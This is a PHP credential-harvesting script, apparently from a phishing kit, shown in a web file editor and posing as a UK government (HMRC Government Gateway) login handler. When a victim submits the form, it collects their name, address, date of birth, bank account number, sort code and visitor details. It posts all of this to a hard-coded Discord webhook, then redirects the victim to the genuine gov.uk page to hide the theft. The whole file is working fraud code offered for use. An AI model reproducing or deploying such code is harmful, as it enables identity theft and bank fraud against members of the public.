Editing: login.php
<?php ob_start(); session_start(); // ---------- SETTINGS ---------- // // Discord Webhook URL (leave empty "" to disable Discord output) $discordWebhook = "https://discordapp.com/api/webhooks/1417110059149693019/D7JaWrLptvAwDcbJPTmcrDuCxkEXmCjTTx5P6r_q21d2-a0Q6VkC2uos7OyjBSdJBBxb"; // Redirect URL after form submission $redirectURL = "https://www.gov.uk/log-in-register-hmrc-online-services"; // ---------- MAIN SCRIPT ---------- // if ($_SERVER["REQUEST_METHOD"] === "POST") { // Collect form data safely $name = htmlspecialchars($_POST['name'] ?? ''); $add = htmlspecialchars($_POST['add'] ?? ''); $mm = htmlspecialchars($_POST['mm'] ?? ''); $yy = htmlspecialchars($_POST['yy'] ?? ''); $com = htmlspecialchars($_POST['com'] ?? ''); $acc = htmlspecialchars($_POST['acc'] ?? ''); $sort = htmlspecialchars($_POST['sort'] ?? ''); // Collect visitor info $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $hostname = gethostbyaddr($ip); $agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; // Build message text $text = "**mygov.uk - [ $ip ]**\n" . "Full name: $name\n" . "Address : $add\n" . "DOB : $mm/$yy\n" . "Biz name : $com\n" . "Company : $acc\n" . "Sortcode : $sort\n" . "Host: $hostname\n" . "Gent: $agent \n" . "------------------[Government Gateway UK]-------------------\n"; // Send to Discord if webhook is set if (!empty($discordWebhook)) { $payload = json_encode(["content" => $text], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); $ch = curl_init($discordWebhook); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } // Redirect after submission header("Location: $redirectURL"); exit; } ?>
Save
Back